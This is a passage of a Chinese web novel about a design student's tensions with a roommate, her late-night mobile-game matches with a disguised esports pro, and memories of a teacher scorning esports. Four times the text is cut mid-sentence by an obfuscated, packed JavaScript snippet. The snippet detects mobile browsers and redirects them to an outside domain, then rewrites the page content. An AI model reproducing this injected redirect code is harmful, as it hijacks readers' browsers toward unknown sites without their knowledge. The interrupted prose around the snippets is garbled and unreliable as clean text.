这整条工作链她完全可以一个人完成,不仅更有效率,还能少生点闷气…… “唉。” 苏织轻轻地叹着气。 苏织就无法幸运抽身了。 陈文欣以“闺蜜”自居,像鬼一样缠上了她,只要苏织不和她组队,在陈文欣那里就算闹掰友尽。 Q美落榜生苏织,只好每次都拖着陈文欣负重前行。 老师指明要求的单人作业,苏织次次获奖,小组作业却次次八十分。 “哦对了——” 陈文欣倏地从上铺床帘里探出头来,怯生生道:“太太你别拖到最后,你赶快做,周五就要汇报了。” 苏织:“……” 她冷哼一声,没好气地说:“我把别的都做了,那你去pre?” 陈文欣顿时表情尴尬、语气浮夸,似乎很惊讶:“啊?我?” “我是i人………” 她可怜巴巴地拖长尾音。 苏织:“……” 简直想骂人。 她调整呼吸,选择再次忍受,把注意力放回最近追的新番上。 她不断地安慰自己,反正三年都熬过来了,再忍最后一年就彻底解放! “对了太太——你的b站大会员怎么不续费啦?” 陈文欣撩起床帘,眼巴巴地看向苏织,一副谨小慎微的可怜样。 苏织记起她家庭条件不好,便好声好气道:“我哥用了我的号,可能把你挤掉了?你要是看番的话,可以和我一起看。” 陈文欣:“啊……太太你不爱我了呜呜呜……” 苏织:“……” 苏织:“那他妈是我亲哥,别逼我骂你。” 陈文欣立刻缩回床帘里,不再说话。 苏织懒得琢磨她,偏头去看秦见夏。 发现她早已戴上耳机,两耳不闻窗外事了。 8. 不理解 她们宿舍似乎每次都是这样。 陈文欣总会莫名其妙地和秦见夏起争执,秦见夏怼两句就无奈妥协,最后自己戴上耳机不再搭理。 陈文欣也总是和林喜抬杠。 她们会经常争论一些“究竟是燕省水果好吃还是山省水果好吃”这样的奇葩问题。 林喜的性格比较认真,往往会像打辩论赛那样和陈文欣理论到底。 虽然也是争论,但她一般就事论事,讨论结束后该一起玩还是一起玩。 陈文欣则是不同,她辩论失败,真的会别扭很久。 无论任何和地域有关的话题,只要她和她的家乡燕省落于下风,就一定会应激般上头。 即便苏织并不是很理解,这样毫无意义的争论,就算赢了又怎样? 但确实可以看出,陈文欣很有集体荣誉感了。 每次陈文欣和谁发生争论,苏织一看局面有些控制不住,就会直接打断施法。 免得她吵输了,又天天在宿舍里鼻子不是鼻子、眼睛不是眼睛的。 不过陈文欣哪怕对林喜不爽,也会去主动舔她。 林喜是团支书,又是标准的山省老好人,陈文欣还需要时不时拜托她帮忙。 能用到人家,自然会态度好一些。 秦见夏是整个宿舍唯一懒得帮陈文欣小忙的人,倒也不是冷心冷肺,只是不屑于为了维护和陈文欣的关系,选择当她的“跑腿丫鬟”。 陈文欣利用不上她,自然不会像舔着她俩那样去舔秦见夏——当然陈文欣舔她俩的方式,也只是在求她们帮忙的时候,说两句“谢谢妈咪”而已…… 秦见夏完全和陈文欣截然相反。 她不到万不得已的情况,不会轻易开口求人帮忙。 少有的几次,帮她带个快递,她还会笑得像个小太阳似的请她们喝奶茶,好似帮了她天大的忙。 她并不是爱说漂亮话的人,但大家却能感受到她的真心实意。 和陈文欣这种理所当然地使唤人的态度,苏织当然是更喜欢和秦见夏交往了。 只是,前三年陈文欣一直和她强行绑定,甚至还会吃她发小和闺蜜的醋。 苏织一边无法忍受,一边又同情她的贫穷和曾经被孤立的遭遇。 况且在同一屋檐下生活,也没办法彻底和室友决裂。 陈文欣还是深耕互联网的重度二次元,有自己的小圈子,苏织其实也怕决裂后会被挂网上开户,只好就这么一直妥协到现在。 苏织也很苦恼的。 陈文欣每在宿舍叹一口气,苏织都觉得自己像是被她倒吸走了精气。 晚上十一点半,林喜和同学们聚完餐,卡点回到寝室,正在心情很好地哼着歌卸妆。 突然,听到上铺传来陈文欣闷闷的声音—— “喜喜,你们班又去聚餐了啊?” 林喜动作一顿,感到有些莫名,但还是换上亲切的语气说:“对啊……累死我了——今天我们班本来吃完饭已经十点了,然后她们又非要去唱歌,我只好又和她们一起去ktv,但是我们组作业还没赶完呢!我一会儿还得通宵补作业!” “真好,”陈文欣没什么起伏的语调中,暗含几分羡慕,“我们班从来不聚餐……” 这个宿舍只有林喜是二班的,秦见夏、陈文欣和苏织三个人都在视传一班。 林喜&秦见夏&苏织听后,不约而同地在心里默默想—— 食堂八块钱的饭菜你都嫌贵,要念叨一整天的“没几块肉”,真让你掏五十、一百的去聚餐,你肯定又第一个不乐意。 之前她们宿舍去瑰园舌尖大师聚餐,四个人只点了八个品种的小份菜,那种小盘菜最多两口的量。 苏织想多点份虾滑,陈文欣都说是不是点多了。 搞得她们三个吃完焖锅后,又去面包房买了小蛋糕和烤肠吃,林喜甚至还多买了个糯玉米才填饱肚子。 校内食堂人均不到三十块都这样,究竟谁敢和你一起聚餐啊…… 吃顿海底捞,岂不是又要在宿舍唠叨一个月自己家条件不好…… “吃水果吗,我刚买了哈密瓜。”林喜已经有经验了,瞬间岔开话题。 每次大家分发水果和零食,陈文欣都最积极。 秦见夏和林喜爱买水果和零食,她俩在宿舍分享的次数最多,苏织不怎么吃东西,陈文欣呢…… 只会在吃不完的时候,才给大家分。 秦见夏正戴着耳机刷小红书,没想到陈文欣居然又和林喜杠上了。 还是经久不变的水果话题—— 陈文欣:“淮市的水果真难吃,还是燕省的水果好吃。” 林喜:“就是,我们山省那边水果也比这儿甜多了~” 陈文欣:“啊…感觉山省应该没有燕省水果好吃吧,我们燕省可是大平原……” “……” 于是,陈文欣又和林喜展开了关于水果问题的大讨论。 一个四人间上下铺的宿舍,本身面积就小,哪怕是躲进厕所,也能听到她们聊这种毫无任何意义的废话。 秦见夏此时特别想钻进自己的棺材里休养生息,可陈文欣就在她上铺,那样听着动静更大。 于是,她只好播放吵闹的dj,转移注意力。 大一大二时,秦见夏或许还会打个圆场,说:“感觉淮市的橙子还挺好吃的。” 但她现在大三,她知道,如果自己此刻插话,陈文欣一定会将矛头指向她,然后又开始诉苦高考问题,周而复始。 反正总之,顺着家庭条件最不好的陈文欣说话,就是政治正确。 不过—— 真正家庭条件不好的,也不会选择艺考啊。 秦见夏一直认为她们宿舍大家条件都差不多,虽然没人用奢侈品,但都有一万多的电脑,还有iPad和pencil,哭什么穷呢? 那陈文欣天天喊叫家里穷,但真穷人也不会在上高中的时候就去收二手苹果电脑吧。 陈文欣的电脑虽然是二手的,但也用着MacBook和iPad啊,她的pencil甚至还是二代…… 整个宿舍就秦见夏用着一代pencil,她还哭上穷了? 所以秦见夏始终觉得,陈文欣在无病呻|吟。 极度贫困、原生家庭特别不好的小孩,家长不可能支持他们学美术。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669819|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 花几万块钱支持梦想? 真正的穷人没有这个选择的机会。 况且对着室友哭穷有什么用呢? 除了能让苏织和林喜两个心软的倒霉蛋天天帮她跑腿之外,也不会有人给她钱啊。 再说了,穷还不好好做作业?穷还不出去兼职天天在宿舍躺尸? 纯属一小儿寒气的吊呆比。 秦见夏越琢磨越无语,打开朋友圈设置分组标签吐槽。 勤捡虾球: 「我室友,A大几百个窗口,她找不出一家自己满意的饭,现在和另一个室友争执了十分钟,究竟是燕省的水果好吃还是山省的水果好吃……我感觉这个世界真是太抽象了。」 这个分组里,只有几个玩得好的高中同学,还有她的父母。 他们有时会给自己的碎碎念捧场,正如此刻—— 王铭:「逆天」 潘振天:「什么魔幻人/捂脸」 董晴晴:「你室友比我室友还有病/捂脸」 亲亲妈咪:「闺女周末回家住吧,为娘给你买榴莲吃/流泪」 老爹:「哎呀丫头,要不搬出来住吧,老爸给你赞助!」 秦见夏有点感动,先一一回复同学们。 打字间隙,发现家庭群里有人艾特她。 亲亲妈咪:「宝宝@勤捡虾球,下周末回家吧,妈妈给你做油焖大虾吃」 老爹:「诶呦我丫头真是受苦了,我早说让丫头去年就搬出去住嘛!」 老爹:「和这种室友住可不得了!」 秦见夏:「@夏夏爸爸,爸,咱家可租不起月租一两千的房子啦,而且之前不是封校吗,再忍一年就毕业了,么得事~」 秦见夏:「@夏夏平安健康,妈妈我这周六要考四级,下周要赶作业,七月放暑假再回家~」 秦见夏:「想吃皮肚面了/流泪」 秦见夏妈妈&爸爸:「夏夏加油,坚持就是胜利!/拳头/玫瑰/拥抱」 秦见夏:「我玩一会手机就准备睡觉啦,爸妈你们早点休息!」 秦见夏其实觉得自己足够幸运,她有无条件支持她的父母。 他们的爱没有前提条件,哪怕她不够优秀、漂亮、圆滑,但在父母眼里,她就是全世界最好的小孩。 她可以把自己的朋友圈对父母全部可见,哪怕是吐槽,父母也不会认为——“发这种朋友圈影响不好”、“负能量太多”、“别的室友都没意见怎么就你有意见”诸如此类。 秦见夏的父母,不会以外人的角度去评判自己的女儿。 这使她拥有足够的安全感,像是人生中一笔不可估量的财富,可以在逆境时充当她的后盾。 正如此刻,尽管耳边仍然充斥着陈文欣喋喋不休的吼叫声,但她的坏心情已经随着父母的安慰烟消云散了。 解决不了噪声问题,但可以转移注意力—— “TiMi” 打王者总行了吧。 刚过零点,秦见夏上线领了每日礼包,正准备单排一把就去睡觉、 屏幕上却弹出个游戏邀请。 【都别抢我辅助:排位赛1/5】 9. 抱歉姐 Q|Q好友里没有黑色头像的非主流,秦见夏想了两秒钟,才记起这是那个抢她位置的孙尚香。 她迟疑地点了【接受】。 进房间第一件事——她提前声明自己不打辅助。 都别抢我辅助:「没事,我打辅助。」 秋神给我打钱:「我看你挺有意识的,你能打野吗?」 都别抢我辅助:「我打野一般,不如咱们射辅联动。」 秋神给我打钱:「好吧」 要是早知道他不会打野,就不进房间了…… 比起辅助,她现在更需要野王带飞。 BP阶段,对面一抢马可波罗。 秦见夏想了想,让一楼帮抢虞姬。 她个人感觉虞姬还是比较counter(克制)马可波罗的,虞姬可以用二技能抵挡马可大招的物理伤害。 队友帮抢后,秦见夏正纠结用哪个皮肤,辅助哥就给她送了个皮肤戳戳。 虽然辅助哥人还不错,但是—— 秋神给我打钱:「兄弟,我虞姬全皮」 都别抢我辅助:「……」 二楼镜:「哥,我不是全皮,给我~」 三楼夏侯惇:「俺也要。」 四楼米莱狄:「俺也要。」 都别抢我辅助:「……」 谈继秋给每人点了一个铜钱戳戳,甚至还亲自动手打了一遍他们的id。 都别抢我辅助:「这局我的皮肤随便用!@冷静突破枷锁」 都别抢我辅助:「这局我的皮肤随便用!@大卡车租赁」 都别抢我辅助:「这局我的皮肤随便用!@米莱狄三娃妈」 镜&夏侯惇&米莱狄:「哥你这v10也没几个皮肤啊」 都别抢我辅助:「:)」 王者一周才送几个皮肤戳戳,不能便宜路人。 谈继秋拿了钟馗,刚开局时,其实有给粉丝小秀一下锤石ad的打算。 但怕被喷,还是老实地买了宝石。 起初他先入为主,觉得这小粉丝玩得估计一般,等她这把打出垫底评分,就会求他带飞了。 然后这周给她带上无双王者,他就可以顺势爆马,这样粉丝估计不会特别生气。 谈继秋计划得天衣无缝。 然而开局五分钟,虞姬非但没漏一个兵,还压得对面吃不上线。 谈继秋隐隐觉得事情有些不妙。 对面马可波罗和瑶都升四级后,马可突然二技能闪过来,打算强杀虞姬。 瑶骑在对面射手身上,先释放一技能试图控制虞姬,马可当即眩晕转大。 却没想到虞姬找准时机,一个二技能秒解瑶的控,还给了她缓冲时间,没被马可的爆发伤害转死。 下路其他三人意识到,这虞姬似乎不简单。 钟馗还没来得及扔钩子,只见虞姬一个大招,接反向闪现二段跳,丝滑地蹦到马可身后,紧跟一技能暴击瞬间带走马可。 整个过程几乎眨眼间发生。 谈继秋看愣了。 对面马可和瑶也看愣了。 己方虞姬和钟馗乘胜追击,谈继秋一个钩子,将跑入塔内的瑶勾了出来。 最后虞姬一发冰冻长箭,将双杀收入囊中。 播报双杀的那一秒,虞姬头上挑衅地冒出句「抱歉」,还用暖冬家园回城嘲讽了几下。 抱歉姐。 谈继秋看到,忍不住轻笑几声,莫名有些骄傲,对身旁正在rank的Fine说:“我粉丝挺厉害,随我。” 正利用休假时间抓紧训练的Fine,头也不回道:“有毛病吧你。” 秦见夏拿到双杀后,做出无尽,发现对面打野没来支援,就和钟馗一起顺势拔掉下路一塔。 镜也抓死对面元歌,此时战况是3:0,总经济领先将近一千,顺风局。 中路倒是热闹,敌方貂蝉严防死守,米莱狄只敢偷偷摸摸地,让小喽啰舔几口塔皮。 秦见夏又清完一波兵,带着辅助帮中路推塔。 为了避免蹭到中路兵线,她特意在河道死角草丛里待了一会,才去帮米莱狄点塔。 目睹全程的谈继秋,忽然觉得这粉丝也是个人物。 打王者还打得如此光明磊落,实在罕见。 小地图里,貂蝉的头像一闪而过,她居然跑去上路抓夏侯惇了。 但以夏侯惇血厚的程度,秦见夏丝毫不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669820|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担心上路崩盘,放心地和米莱狄一起推塔。 钟馗则在通往上路的河道草里蹲守,以防敌方打野来gank。 打到十二分钟时,对面开全部在公屏吵起来了。 [全部]缘为冰(云中君):「辅助为什么不跟我?」 [全部]纯情男高是我(马可波罗):「瑶是我对象。」 [全部]缘为冰(云中君):「好好好,情侣玩游戏这么玩是吧?」 [全部]缘为冰(云中君):「挂机了,谁爱玩谁玩吧」 [全部]瑶瑶大王呢(瑶):「不要吵啦,打野我跟你行了吧。」 [全部]缘为冰(云中君):「不稀罕」 [全部]纯情男高是我(马可波罗):「你**你脑子**吧**」 [全部]缘为冰(云中君):「***你把麦打开」 [全部]大卡车租赁(夏侯惇):「别吵了大家,、和气生财、和气生财,。」 秦见夏乐得在宿舍憋笑,一边疯狂点塔,一边在公屏打字。 [全部]秋神给我打钱(虞姬):「你们不要再打啦~」 最终莫名其妙拿下了这颗星,没有掉到保级赛。 秦见夏觉得,一定是自己攒人品攒到位了。 谈继秋这边,自从他感慨“我粉丝挺厉害”之后,就开始一阵一阵发神经似的轻笑。 Fine被他烦得受不了,鼠标一扔、键盘一放,让他打开投屏。 他坐在谈继秋身旁,抱臂瞪他,说他倒要看看到底有多好笑。 对局结束后,Fine却一言难尽地从幕布上收回目光,偏头问他:“你觉得……这个粉丝是女生?” 谈继秋点开「秋神给我打钱」的王者主页:“这头像明显是女生。” “你见过哪个女生用龙图当头像?”Fine笑得差点直不起腰,“而且这性别明明也是‘男’啊。” “一个会虞姬二段跳大闪王者段位的MVP,发育路二十段,常用英雄全是射手,怎么看都是男生。” 谈继秋说着“是男生更好办了”,斟酌片刻,还是打开对话框。 都别抢我辅助:「兄弟,你是GG还是MM?」 10. 过家家 此时将近凌晨一点,室友们都上|床了,秦见夏还坐在书桌前,给手机充电。 Q|Q游戏消息突然弹出。 她打开一瞧,真是觉得这人脑子可能不大正常。 而且说话很古早。 他是觉得自己很幽默吗…… 秋神给我打钱:「我很像人妖吗?」 秋神给我打钱:「我当然是女的了…」 秋神给我打钱:「虽然我性别是为了抽皮肤改的,但我头像框是粉的啊」 过年的时候,游戏博主说换个性别就能抽出女英雄的皮肤,秦见夏当即跟风改了性别。 于是抽出来了曹操的幽灵船长…… 过完年继续退游,她就一直顶着蓝色的“♂”到现在。 可她头像框不是很粉嫩吗? 秦见夏不理解。 谈继秋一副“果然如此”的神情,对Fine说:“我预感很准,你没跟她玩过,你不懂。” Fine:“……” 他故作不知地打字回复:「jichoo还有女粉?」 秋神给我打钱:「当然了,继军的颜值还是很在线的^^」 谈继秋:“……” 虽然被夸了,但有点不爽。 “啊哈哈哈哈哈哈哈哈哎呦卧槽笑死我了——” Fine在投屏上看到这一幕,笑得满地打滚,甚至想上楼把FYZ的辅助Dollar叫下来一起笑:“我滴妈,这小姐姐当面开大,我真不行了——” Fine:“不愧是玩ADC的,太会输出了。” “继军”是谈继秋的黑称。 由于FYZ拿过很多次季军,而且队长Jichoo本名里刚好有个“继”,所以黑粉就亲切地称他为“继军”。 谈继秋一言难尽,继续攻略这个黑粉。 都别抢我辅助:「jichoo在黄油直播你知道吗。」 秋神给我打钱:「知道啊,才知道」 都别抢我辅助:「他直播挺好看的,明天会和dollar一起双排。」 秋神给我打钱:「所以?」 谈继秋:“……” 他瞥向还在狂笑不止的Fine,无语道:“要不我认输?这粉丝明显油盐不进。” 他感觉打总决赛都没这么费脑筋。 “别啊哥——”Fine还没看够乐子,连忙劝阻,“为期三个月呢!万一你赢了呢。” “那可是4090,想想现在炒到多贵了?别做傻事。” Fine是晋海富二代土著,几万块钱看个乐呵,他觉得挺值。 看来损友是不打算放过他了,谈继秋叹息一声。 那月底攻略不下来再认输。 反正Fine马上回基地,接下来就没人烦他了。 见带飞策略没戏,他决定“曲线救国”。 都别抢我辅助:「所以你明天还打吗?」 都别抢我辅助:「能带我上分吗?我第一次上王者。」 Fine“咦~”了一声,忍不住用胳膊肘怼他:“老谈,你是不是有点不要面孔了,我都不敢想的呀,掉马之后你粉丝该咋喷你啊兄弟。” “到时候小姐姐一下子怒发冲冠黑成大粉,揭竿而起给你挂了,你就老实了。” 谈继秋煞有其事道:“这是战术。” 秋神给我打钱:「你是……高中生?」 都别抢我辅助:「算是吧。」 都别抢我辅助:「我最近没上学。」 高一辍学打电竞,应该也算高中生吧。 果然,秦见夏立刻自动默认“辅助哥”是自闭问题少年,心道,这攒人品的好事也是让她给撞上了。 下次抽水晶定能一发入魂! 秋神给我打钱:「我明天下午有课,晚上带你吧。」 谈继秋在Fine一脸鄙夷的目光中,用遥控器关闭投屏,计划把直播改到白天。 都别抢我辅助:「行,刚好我白天看jichoo直播。」 他假装不经意地提起Jichoo,试图唤回这位粉丝的关注。 秋神给我打钱:「看来你真的还挺喜欢他」 秋神给我打钱:「我之前高中的时候也是!喜欢他到把所有id都改成了现在这个,还买了一堆fyz的周边和手幅,他的超话我都水到十几级了,差点成为小主持人」 秦见夏不禁感叹一句:「粉上jichoo确实是每个高中生的宿命」 她发完消息,给自己咯噔得起了一层鸡皮疙瘩。 谈继秋见她提到自己时,如此滔滔不绝,心里五味杂陈。 都别抢我辅助:「那后来为什么不喜欢了?」 秦见夏回得很快。 秋神给我打钱:「因为我长大了啊」 秋神给我打钱:「现在突然觉得那些比赛像小孩过家家」 辅助哥没再秒回,秦见夏盯着对话框里的“小孩过家家”,忽然陷入良久地沉默。 这句话,太过似曾相识。 高一那年,FYZ首次进入全球总决赛。 那时,秦见夏和同学们都异常沸腾,连上晚自习都在悄悄讨论BP。 导致被抓包时,班主任对这个比赛充满好奇。翌日历史课上,她问了一嘴,这到底是个什么东西。 秦见夏记得很清楚。 当时王铭立刻主动举手,“哗”一下起身,整个人挺得笔直,自豪地扬起头颅,给班主任解释电竞比赛,以及这次夺冠的意义。 这是作为差生的他,第一次如此骄傲地,在课堂上主动回答问题。 班主任听后,沉默半晌,只是皱着眉头说了一句—— “这不就是小孩儿过家家吗。” “这种游戏比赛,对你们毫无意义!” “我还当是什么数学竞赛呢,”班主任厉声训斥,“马上就要分科了,你们现在是关键时刻!要把心思用在正事上,不要老关注这些邪门歪道的东西!” 班主任批评后,引来同学们的强烈不满。 王铭气得脖子通红:“您根本就不懂!这是我们的梦想和追求!” “你们最大的梦想和追求,应该是考上985211——” 班主任板着脸,当即给这场闹剧画下句号:“行了,你们几个下课来我办公室!” 结局当然不尽人意。 那天,班主任点名批评她——作为一个女生,非要和男生混在一起聊游戏。 其实也不只和男生聊,路边的狗她都能聊两句。 只是恰好,班里玩MOBA的都是男生而已。 秦见夏没把玩吃鸡的女同学们供出来。 再说—— 谁规定女生不能和男生一起玩了? 男女之间也不光是爱情啊! 女生怎么不能打游戏?游戏又不是男生的专属。 然而这种话,秦见夏当然也不可能对着班主任说出口。 后来班主任又说了什么,她一句也没记住,脑海里只剩下她们几个互相做鬼脸,模仿班主任的画面了。 那天阳光很好,洒在身上暖洋洋地。 从办公室退出来的刹那,王铭就攥拳举过头顶,小声喊:“FYZ必是冠军——” 她和另外几个男同学,也很中二地跟着喊:“FYZ必是冠军!” 回忆竟如此鲜活。 “那个那个——” 突然间,一道委屈的声音,打断她泛着阳光的回忆。 陈文欣以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669821|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痛苦且虚弱的语气说:“我们什么时候可以熄灯?灯太亮了,我睡不着觉,睡不好觉就会持续性耳鸣……” “其实我寒假去住院了,医生说我是神经性耳聋,治不好,我这个病需要早睡,全天不间断耳鸣已经很崩溃了,休息不好的话,耳朵会变得更吵,所以我们以后能不能约定晚上十一点半前熄灯?” 四人里,只有秦见夏还没上|床,她在点谁显而易见。 气氛霎时僵住,静得地上掉根针都能听到。 一大段话听得秦见夏晕头转向。 就是要早点熄灯呗。 她感到匪夷所思,尽量温声细语:“你想早睡可以直接关宿舍灯的,没有不让你关。” “你也知道我自己有台灯,而且我现在没有用宿舍灯,只是在给手机充电,也没发出声音什么的,我想我并没打扰到你……你下次直接自己熄灯就好了,不用考虑我。” 陈文欣不说话了。 又是这样。 每次和她沟通,都像这样无法顺利进行。 秦见夏等了一会,她仍未回应,也不见她下来关灯。 彻底无语。 她感觉一股气直冲天灵盖。 于是,秦见夏怒气冲冲地走向玄关,将宿舍灯的两个按钮,“啪”地一下,全拍灭了。 四周顿时陷入黑暗,以及,死一般的沉寂。 她摸黑坐回自己的沙发椅上,想找人吐槽,又不知道该找谁,气得在心里想—— 陈文欣的书桌和她并连,她明知道自己一到晚上就会打开台灯,有时她还要借她的光看书。 她明知自己不需要宿舍那个破灯,凭什么倒打一耙,搞得像是她害她睡不了觉病情加重的! 退一步讲,只是关个灯而已,她说一声自己关了不就行了,谁会不让她关? 到底在卖什么惨啊! 而且,她前几天说她戴不了耳机,外放游戏声音打到半夜,还和苏织一起聊到两点的时候,她怎么不需要早睡了? 秦见夏在她下铺,基本比她睡得晚,她明显感觉到,陈文欣这三年来几乎没早睡过,每次都是到半夜一点,才重重地将手机放到床上的。 简直太不可理喻! 秦见夏气得想把她抓下来骂几句。 然而只是想想。 想她从前在网上喷遍天下,现实里居然屁都不敢放一个。 彻底被自己窝囊笑了。 摊上这种室友又能怎么办? 毕竟还要再相处一年,秦见夏不想把关系彻底搞僵。 体面是她的人生信条。 每次吐槽完室友,朋友们都让她直接翻脸。 她均表示:Sorry,伤害女生的事我做不到。 最后被他们骂活该:) 凌晨两点。 秦见夏轻手轻脚地拉开床帘,钻进“棺材”里,又用指腹将拉链头捏住,一寸一寸地拉上,使噪音最小化。 生怕又成为害陈文欣犯病的罪魁祸首。 她平躺在硬邦邦的铁架床上,感受由上铺传来的、细枝末节的翻身动静。 “吱呀——” 微小的颤动,似与她神经末梢紧密黏连。 脑中浮现出许多想法。 耳旁是半夜才能听到的电流声,心中仿佛一片平和。 但那不易察觉的动静,宛如一张细密、潮湿的布,整片盖在面上、身上。 温水煮青蛙般,将她吞噬。 在彻底失去意识前,她听到心底传来回响—— “这就是你梦寐以求的985211吗?” “你的梦想和追求,到底是什么?” 刹那间,她短暂察觉到灵魂的残缺。 然而,转瞬即逝。 11. 会晴天 秦见夏一觉睡到周二中午。 迷蒙间,楼下的人声鼎沸顺着阳台飘进来。 宿舍刚好位于教学南楼通往枚园食堂的必经之路上,又是三楼这样的低楼层,连小树林里情侣吵架时打的巴掌声,都能零星听个大概。 “我感觉今年肯定又是棒子夺冠啊,你看LCK来势汹汹……” “那可不一定,我瞧FYZ有戏。” “又拿个万年老二呗。” “哎,可惜,新AD还不如继军……” “这破隔音!” 秦见夏一骨碌从床上坐起来,第九十九次辱骂学校。 最近也真是捅了FYZ的窝,怎么在哪都能听到Jichoo。 简直是阴魂不散的程度。 今天的pre还没着落呢。 她本来打算昨晚赶一赶作业,好歹今天有进度给老师看。 没想到……她又玩物丧志了。 苏织也才从床上爬起来,起床第一件事就是问她:“你今天有东西给老师看吗?” 秦见夏抱头哀嚎:“没有啊啊啊——” 苏织:“我看了一晚上番……” “可你们是两人一组啊!”秦见夏突然意识到问题的严重性,“你们两个可以分摊火力,但我只能一个人挨骂。” 她当即穿上衣服,火速下床洗漱,打算去食堂打包饭菜,带到教室边赶作业边吃。 “诶呦没事~我问过喜喜,她们上午没看进度,”苏织相当无所谓道,“川总最近忙得很,没功夫管我们的。” 林喜所在的二班,排课和她们错开,一个上午一个下午。 两个班的同学经常消息互换。 秦见夏嘴上说着“那就好”,但还是决定中午去艺术楼补俩小时作业。 川总此人阴晴不定,万一突击检查,她就完蛋了。 她将电脑和iPad一股脑塞进书包里,从挂钩处取下钥匙串,踩着洞洞鞋风风火火地出了宿舍。 由于沉迷王者,秦见夏甚至懒得去澡堂洗澡,戴个黑帽子勉强将油头遮住。 她健步如飞,走到宿舍一楼的最后一个拐角处,恰巧碰到陈文欣。 秦见夏戴着耳机目不斜视,假装没看到般继续向前。 余光里,瞟到陈文欣也一脸尴尬地视而不见,她不由得舒了口气。 最害怕的就是,明明前一天还闹了矛盾,第二天就要装作无事发生地互相打招呼。 把她杀了她也做不到。 陈文欣那张臭脸,并没有影响到秦见夏的好心情。 哪怕前一秒她还在心里默默吐槽室友,但当她走出宿舍楼,重见阳光的那一瞬间,心上所有阴霾顿时化为乌有。 阳光会使心情多云转晴。 淮市的天气总是很分明,下雨时风大得能刮飞人,但只要不下雨就是晴天,多云很少出现。 人生和天气一样,无外乎就是一场太阳一场雨。 总会晴天的。 耳机里,单曲循环着周杰伦的《晴天》,秦见夏一边轻哼“但故事的最后你好像还是说了拜拜”,一边从众多凌乱的小黄车里,找出自己的电驴。 她骑到食堂门口,将电动车停在学校新划的非机动车位上,拔下钥匙,顺势用食指转着钥匙串,听它发出清脆的叮铃声,脚步轻快地朝里走去。 她在一楼打包了快餐,又在旁边的蜜雪买了高山四季春,出门后,将打包盒放进车筐里立住。 大一下半学期,学校开始实行“限塑令”,食堂打包饭菜不给塑料袋。 即便是校长来,也得一手端打包盒,一手拿筷子往外走。 限塑令严格到连豆浆都给的是纸吸管,奶茶更是全部用纸杯。 有时候饮品放久了,纸吸管就会变软,使大家喝得很狼狈。 一般过了十二点半,学校里就很少出现行人。 秦见夏骑着电车,在校内畅通无阻地穿梭。 纯黑色棒球帽压住她微卷的栗色长发,披在背上的发梢被微风拂过,荡起金色的、跳跃的弧度。 道路两旁,树木的碎影掉在她身上,浮光跃金、明明灭灭。 车把手旁,“骑车搭子”风车小猪转个不停。 秦见夏畅快地大口呼吸,眼前是蓝天白云和郁郁葱葱的植被,使她感到一种久违的生命力。 她骑到艺术楼旁边将车停好,往大楼走时,下意识朝路对面瞟了一眼,果然看到范川的白色奔驰S ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669822|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' UV停在正对面。 心里顿时涌上一股紧迫感。 秦见夏端着饭,立刻三步并两步地爬上台阶,终于攀登到一楼大厅时,她气喘吁吁地日常感叹—— 艺术的门槛太高了。 保安大叔仍然坐在桌子后面刷短视频,经典魔性笑声肆无忌惮地在整个大厅里回荡。 她今天端着饭来,不好意思给大叔打招呼。 秦见夏将白绿相间的纸碗藏在身体左侧,快步溜上二楼。 班级在二楼走廊最尽头的教室,她单手拧开门把,推门进去,发现教室内空无一人。 秦见夏走到座位处,放下书包,将东西一一掏出,然后打开Illustrator和ps,边赶作业边吃午饭。 两点上课时,总算做出一版能拿出手的方案。 她们一个班只有十三个人,老师每节课都有时间逐个检查学生作业。 虽然三年来已经做过无数次pre,但在每年面对范川老师时,秦见夏还是会紧张到心里打鼓。 范川是设计系主任,爱好打拳,不笑时看起来相当严厉。 每年但凡轮到范川上专业课,秦见夏都要发憷一个月,生怕又被川总锐评到心态崩溃。 她只能安慰自己,坚持完这个月就好了…… 其实三年磨砺下来,秦见夏已经有些麻木。 正如那句名言所说—— “上辈子杀人如麻,这辈子视觉传达。” 